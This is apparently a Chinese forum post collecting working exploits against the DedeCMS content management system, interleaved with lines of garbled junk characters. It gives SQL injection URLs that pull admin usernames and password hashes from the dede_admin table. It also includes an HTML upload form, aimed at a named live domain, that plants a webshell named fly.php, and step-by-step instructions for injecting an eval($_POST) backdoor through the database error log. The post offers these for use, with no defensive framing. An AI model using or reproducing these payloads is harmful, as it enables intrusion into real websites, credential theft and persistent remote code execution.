http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
0 F% E# S" p3 @7 ?0 s" O6 D* F3 |3 \6 P% \" d3 |& y& l

+ h- j) X- a" J! X$ S- N' s; ]7 J1 }! w9 ]

2 S5 T0 n: x: U- M- r9 |. s
# ]/ f, n  q# H$ Y2 U+ E3 U
- y7 ?: e* `3 i1 M: ~. p, {: {* ^  B; G; X9 }( q& ~) o
- g3 R+ k, k6 q4 B$ l2 o
3 U7 }9 P: |! C. `  v
2 ^& L* ^* ^0 Y  K( K
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
5 E" y, R2 L6 p0 [<html>
0 E; j: o% T6 [$ m<head>! b& ~' [  K6 c% t" e
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>) ^4 U6 Y- ~) v8 e0 T
</head>- s1 g; d2 Y2 {. ^
<body style="FONT-SIZE: 9pt">: \3 C. H+ U( m, M9 v
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
: G, y3 _; F' A<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>: m, c+ `7 [6 ^6 W1 E: \/ c
<input type='hidden' name='activepath' value='/data/cache/' />
8 [9 ^' l' Q8 v  `, I# B<input type='hidden' name='cfg_basedir' value='../../' />+ T, |) H# |2 Q- k0 a6 p1 Q, v
<input type='hidden' name='cfg_imgtype' value='php' />
: q2 J' ^$ u  o6 N  d* u* z<input type='hidden' name='cfg_not_allowall' value='txt' />
8 X1 D2 a8 j/ [; _# r+ u<input type='hidden' name='cfg_softtype' value='php' />- {9 n& f2 N2 B5 }) Y
<input type='hidden' name='cfg_mediatype' value='php' />
' D- i  A' v8 u<input type='hidden' name='f' value='form1.enclosure' />
% N- e' j6 v2 I<input type='hidden' name='job' value='upload' />
3 w" B& b, |) N  p<input type='hidden' name='newname' value='fly.php' />
, A$ e0 z8 k0 XSelect U Shell <input type='file' name='uploadfile' size='25' /># e6 e; t+ Q3 Q% b  u, V! N
<input type='submit' name='sb1' value='确定' />
4 l- M/ G& h" A4 `9 r# y/ y: M</form>( R  j' Y* J& Z
<br />It's just a exp for the bug of Dedecms V55...<br />, j; ^" v1 v9 i! v. q, m3 p
Need register_globals = on...<br />  A5 Y" r8 J, I& Y
Fun the game,get a webshell at /data/cache/fly.php...<br />' n1 w7 w$ @' T
</body>
* e, i- ]; k6 Q7 W7 ^9 N+ G3 b+ F</html>
5 n9 u  x1 @- o" g2 B5 w
5 ]. a2 S* [/ D7 v: A# b, }
2 L% i" H' b: `* l0 u2 ~9 w+ r+ @" D& ~

' P8 v& L2 m7 _* m- a5 A0 G& f) Q. q" h

$ \" h- l, s  A, F1 U7 [8 Z) |7 U# y5 C1 t4 X) @
" W+ U5 Y1 _1 f( i2 z! F! q- J- s; w; @

# L) [3 P$ S; D  Y, X4 E9 L" K6 T
- m* g9 Z3 z- N3 Y' }织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞  [4 C1 \/ `' w
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
9 _$ j1 j% H) ]5 x# V1. 访问网址:, X: X$ I2 o6 i
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>& k; Z' {' G+ i; l" `# R6 V9 e3 E
可看见错误信息
* b9 r2 c: k* o$ I2 f* y4 q& f2 r8 I3 T. |7 C) V7 D

! F& G- a0 k% Y$ W+ _: b2. 访问
http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。; |2 {7 u4 ?2 ]( b# Z/ }
int(3) Error: Illegal double '1024e1024' value found during parsing
' v' L' P* P$ C1 o" TError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
3 T4 S0 |3 _& U; ~8 c( d; H4 U1 u4 Q) c9 Q- m! C' m
2 a8 r& e6 x) R9 i/ E+ h! K+ t' Z" V
3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是
3 s" n7 a. t' P7 P. b( s* k
& [1 N' X5 v! `, p6 n  G/ `' W+ }' ^1 a
<form action=”
http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>" S5 d2 g8 m7 A, w) \

- {. d+ H/ \1 ^7 E  V1 h' p" T9 k5 z- y6 Z7 I$ }
按确定后的看到第2步骤的信息表示文件木马上传成功.% n: f0 q3 S0 ^8 o, k# a; G& [
, G8 r$ I2 F, T7 M5 x! ^1 S( h

* J3 E; ~4 v) U  X) t4 [
& L) M$ i- X5 p: ]0 ?' P: e# L$ q; g7 k6 `4 O  U
+ ?! v1 Y7 n7 O8 |1 c
% g# t; b" W/ p$ S8 Q

9 \7 V1 y; B4 K. r4 T
$ I: J: s9 b& l, `: `# ^- [' ^; b8 o  [8 Q
; e2 B2 b$ a! m* H
% w/ ]$ I$ f7 |9 Y

) d8 l; r& }# p! e/ E: X* d; I织梦(DedeCms)plus/infosearch.php 文件注入漏洞5 |. Q# I# ^) T3 M, h
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表